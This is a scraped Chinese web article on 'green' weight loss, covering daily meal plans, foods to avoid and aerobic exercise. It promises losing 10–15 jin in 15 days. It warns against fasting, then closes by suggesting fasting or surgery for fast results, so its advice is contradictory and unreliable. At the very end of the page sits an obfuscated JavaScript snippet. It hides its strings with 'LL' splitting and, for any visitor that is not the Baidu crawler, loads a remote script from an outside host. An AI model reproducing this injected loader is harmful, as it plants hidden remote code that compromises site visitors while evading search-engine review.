當(dāng)前位置:首頁 > 減肥 > 減肥方法 > 正文

生活中如何綠色減肥

2017-04-26 16:56:02  來源:360常識網(wǎng)   熱度:
導(dǎo)語:實夏天因為總體的溫度比較高,如果在沒有什么流動的風(fēng)和大太陽的情況下。隨隨便便一個人就算穿著都是希望清涼一點兒,而且可以好一點兒的突

實夏天因為總體的溫度比較高,如果在沒有什么流動的風(fēng)和大太陽的情況下。隨隨便便一個人就算穿著都是希望清涼一點兒,而且可以好一點兒的突出自己的身材。而如果是肥胖的人往往會有不同程度的腹部肚子比較大的問題,那么往往穿衣服比較不好看的了。這時候往往比較像瘦身。如何綠色減肥?

屬于純健康減肥方法(男女都適用),可以根據(jù)個人體質(zhì),能在15天內(nèi)最少瘦下10-15斤左右,(并且小肚腩,手臂,大腿,小腿,臀部,腰部的贅肉在不知不覺中會慢慢消失的^ ^),以下是我親身經(jīng)歷減肥成功的幾條秘訣方法 希望可以幫到你:

1早飯必須吃:一個雞蛋(可用鴨蛋,鵝蛋代替)(每天不超過一個雞蛋)+少量面食+豆?jié){(推薦豆?jié){)或奶.還可吃些菜包。

2午飯一般吃少量糧食+一些清淡蔬菜+少量少量的肉(蝦或魚或雞肉)或者只吃些水果就好了. 3晚飯跟中午基本差不多:少量糧食或玉米粥+一些清淡蔬菜(飯后吃些水果)

4減肥期間忌吃一切零食和高糖高脂肪和油大的東西最好少吃.比如:巧克力,炸雞,方便面,汽水,花生,啤酒,蛋糕,肯德基、麥當(dāng)勞等。

5減肥期間盡可能多吃一切蔬菜,水果雖然可以多吃點 但最好適可而止,糖份太高。。。

6不管吃熱量高或者熱量低的東西,都要適可而止,這樣是不會張肉的.

7如果非常胖的話,強(qiáng)烈建議做些能出汗的有養(yǎng)運(yùn)動(慢跑,跳繩,騎自行車,必須堅持40分鐘以上)以便能在短時間內(nèi)更快的減肥。同時也為防止反彈。

8我提供一些我減肥時候常吃的蔬菜:全麥面包,玉米,米飯(少量一次1到2兩)雞蛋,鴨蛋、豆?jié){,牛奶(少量),蘋果,沒甜味的菜瓜,黑木耳,西紅柿,黃瓜,冬瓜,苦瓜,海帶,芹菜,韭菜,紫菜頭,豆腐,豆皮,魚蝦雞肉(少量),和一切蔬菜。

9切記不要節(jié)食(不吃東西),節(jié)食的3個后果1會造成營養(yǎng)不良內(nèi)分泌失調(diào)起痘痘或皮膚很差,2營養(yǎng)不良造成心臟方面的疾病比如心跳過快,再往后就。。。2等節(jié)食過后會反彈的很厲害.3節(jié)食導(dǎo)致新陳代謝變慢會更胖的.4還有會影響張高。吃的太少太少或晚上不吃東西也算節(jié)食哦。 另外,減肥有成果后,飯量可以慢慢的張一點點,逐漸恢復(fù)正常。(以后只要不暴飲暴食或吃的太富貴了或攝入量大于消耗量,自己平時多小心點,是不會再變胖的^^) 其實減肥有個最重要的途徑也是成功的秘訣之一,就是必須會計算每頓飯的熱量,這樣保證每頓飯都不超出熱量,沒些日子,減肥成果就出來了^ ^

溫馨提醒:其實如果你想要減肥,那么毅力和恒心是減肥成功的秘訣的了。而且不要隨隨便便就放棄,要減肥的人要記住,其實你只要堅持下去的話,那么就是勝利。想非??焖贉p肥的話,那么往往可以節(jié)食,甚至是可以進(jìn)一不去手術(shù)了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}